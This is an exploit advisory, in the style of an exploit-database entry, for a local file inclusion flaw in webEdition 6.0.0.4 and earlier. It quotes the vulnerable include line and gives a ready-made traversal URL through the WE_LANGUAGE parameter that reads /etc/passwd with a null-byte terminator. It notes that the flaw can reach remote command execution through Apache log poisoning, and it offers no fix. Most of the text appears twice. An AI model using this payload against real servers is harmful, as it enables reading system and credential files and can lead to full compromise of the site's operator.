******* Salvatore "drosophila" Fresta ******* [+] Application: webEdition [+] Version: <= 6.0.0.4 [+] Website: http://www.webedition.de [+] Bugs: [A] Local File Inclusion [+] Exploitation: Remote [+] Date: 31 Mar 2009 [+] Discovered by: Salvatore "drosophila" Fresta [+] Author: Salvatore "drosophila" Fresta [+] Contact: e-mail: drosophilaxxx@xxxxxxxxx ************************************************* [+] Menu 1) Bugs 2) Code 3) Fix ************************************************* [+] Bugs - [A] Local File Inclusion [-] Requisites: register_globals = on This bug allows a guest to include local files. This tecnique can be used to exec remote commands on the vulnerable system using Apache logs. ... include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_language/".$GLOBALS["WE_LANGUAGE"]."/start.inc.php"); ... ************************************************* [+] Code - [A] Local File Inclusion http://www.site.com/path/index.php?WE_LANGUAGE=../../../../../../../../etc/passwd
******* Salvatore "drosophila" Fresta ******* [+] Application: webEdition [+] Version: <= 6.0.0.4 [+] Website: http://www.webedition.de [+] Bugs: [A] Local File Inclusion [+] Exploitation: Remote [+] Date: 31 Mar 2009 [+] Discovered by: Salvatore "drosophila" Fresta [+] Author: Salvatore "drosophila" Fresta [+] Contact: e-mail: drosophilaxxx@xxxxxxxxx ************************************************* [+] Menu 1) Bugs 2) Code 3) Fix ************************************************* [+] Bugs - [A] Local File Inclusion [-] Requisites: register_globals = on This bug allows a guest to include local files. This tecnique can be used to exec remote commands on the vulnerable system using Apache logs. ... include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_language/".$GLOBALS["WE_LANGUAGE"]."/start.inc.php"); ... ************************************************* [+] Code - [A] Local File Inclusion http://www.site.com/path/index.php?WE_LANGUAGE=../../../../../../../../etc/passwd %00 Tested on MAC OSX 10.5 ************************************************* [+] Fix No fix. *************************************************
